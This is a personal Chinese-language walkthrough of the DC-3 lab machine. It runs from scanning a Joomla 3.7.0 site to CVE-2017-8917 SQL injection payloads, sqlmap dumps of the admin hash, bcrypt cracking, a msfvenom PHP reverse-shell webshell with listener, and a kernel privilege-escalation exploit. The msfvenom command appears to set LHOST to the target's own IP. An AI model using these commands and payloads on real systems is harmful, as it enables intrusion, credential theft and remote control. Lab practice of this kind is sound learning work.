- 和前面DC靶机重复的部分就不记录的那么详细了
渗透记录
- ice师傅说用fscan和naabu,naabu实在没找到主机探测的参数😭这里使用fscan,kali没有自带,https://github.com/shadow1ng/fscan下载一个exe,方便又快
.\fscan64.exe -h 192.168.122.1-255
- 找到ip了,然后老样子,用namp探测服务,只有80端口开了服务
nmap -sV -p- 192.168.122.135
- 访问一下,在主页找到提示
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge. :-)
这一次,有一个 flag、一个入口点,并且没有任何线索。
要获得该标志,显然你需要获得 root 权限。
如何获得 root 权限取决于你和系统。
祝你好运,并希望你享受这个小挑战。 :-)
- 用dc1的wappalyzer工具看看网站用的哪一款cms,确定是Joomla
- 同时,dirsearch扫描一下网站目录,得到一个登录界面/administrator/index.php
- 搜索可得,针对Joomla框架可以用joomscan扫描,kali上面没有自带,先安装再扫
apt install joomscan
joomscan -u 192.168.122.135
- 可以看到joomla的版本是3.7.0,搜索可以查到这个版本存在sql注入漏洞CVE-2017-8917,和dc1一样,上msf试试
msfconsole
search Joomla
use joomla_comfields_sqli_rce
set LPORT 9999
set RHOSTS 192.168.122.135
run
- 利用失败了,这里就要用另一个工具searchploit了
searchploit 是一个用于搜索和浏览漏洞利用数据库的命令行工具。它通过与 Exploit-DB(一个包含大量已公开的漏洞利用
代码的数据库)同步,并允许用户在本地系统上进行快速搜索。
使用 searchploit,你可以根据关键词、漏洞编号、作者等信息来搜索已知的漏洞利用代码。这可以帮助安全研究人员、渗透
测试人员和系统管理员快速找到与目标系统相关的已公开漏洞的利用代码。
- 搜索关键词joomla 3.7
searchsploit joomla 3.7
- 可以打开右边提示的文件查看具体的利用方法说明,路径是相对路径,文件的绝对路径在前面加上/usr/share/exploitdb/exploits/
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
- 指示我们用sqlmap跑,payload也贴出来了,直接跑就行.经过一番漫长等待,得到了5个库名
sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
- 然后把joomladb库的所有表列出来,和上面的payload相比只需要把最后一部分的参数按sqlmap的规则改一下就行了,回头学学sqlmap咋用,之前一直都是手工注入的
sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list
[fullordering]
- 然后查看#__users表的列名
sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
- 最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C
name,password,username --dump -p list[fullordering]
- 使用john工具哈希碰撞,将密码哈希存入miao文件,然后john处理即可
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Z'>miao
john miao
- 第一次没成功,查了一下,是因为john不一定能够准确识别出hash的种类,可以使用https://hashes.com/en/tools/hash_identifier网站查询哈希种类,使用--format=哈希种类来设置hash种类.
- 另外,可以通过--wordlist=字典路径来装载字典,kali自带了一些字典在/usr/share/john/password.lst,github上面也有比较好的字典https://github.com/danielmiessler/SecLists
john --format=bcrypt --wordlist=/usr/share/john/password.lst miao
- 然而还是没成功,参考了https://blog.csdn.net/u012897138/article/details/50811803要自己编译,都准备放弃了,结果回去检查才发现把hash复制错了
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Z'>miao
应该为
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu'>miao
- 这次碰撞成功了,密码是snoopy
- 如果实在没办法又急着用可以使用https://hashes.com/en/decrypt/hash网站试一试,这个和上面检查hash种类的是同一个网站,这里是没有成功的
- 有了账户密码,直接在之前扫到的页面登进去就可以了,登进去可以发现有文件上传漏洞(实际上不能使用upload直接上传,但是可以使用create功能写一个文件上去)
- 使用msf生成一个马,本来也可以手写马或者使用weekly(相当于linux版蚁剑),但是看了网上相关的记录,发现如果以这两种常见方式拿shell的话后面用msf打ubuntu16的漏洞提权就无法成功,原因不清楚
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.122.135 LPORT=4444 R > test.php
(后来换成了4444端口,因为默认是4444,一会儿msfconsole可以少写一些)
- 将文件内容复制出来,然后丢个create创建一个木马文件
- msfconsole监听一下
msfconsole
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.122.135
run
- 然后访问一下木马文件即可拿到shell,因为是在beez3的模板中写入的,路径是/templates/beez3/,我生成的是language目录的test.php
访问http://192.168.122.135/templates/beez3/language/test.php
- 找不到文件?直接访问目录发现没有这个文件,甚至本来应该有的其他的原有文件也看不到,所以建议不放这个目录,放在html目录下面,这里重新写了个html目录下面的1.php
访问http://192.168.122.135/templates/beez3/html/1.php
- 没有收到shell连接请求,气死.直接写一句话木马在windows上面连接吧
- 现在拿到的权限是www-data,相当于是apache的权限,又得提权了
- 查看系统版本,是ubuntu16.04的
cat /etc/issue
- searchsploit搜一下ubuntu16.04的漏洞
searchsploit Ubuntu | grep 16.04
- 通过Linux Kernel 4.4.x (Ubuntu 16.04) - ‘double-fdput()’ bpf(BPF_PROG_LOAD) Privilege Escalation进行利用,看一下文档
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
-
根据提示,下载github上的exploit,蚁剑给他传上去
-
按照文档,一层一层解压文件,最后执行compile.sh和doubleput即可拿到root,果然,因为没用msf没有提权成功,,但是用了msf又连接不上
unzip 39772.zip
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput
- 正常情况下,这里提权成功,然后直接到root目录查看flag就可以了😭等回去了问问他们怎么处理的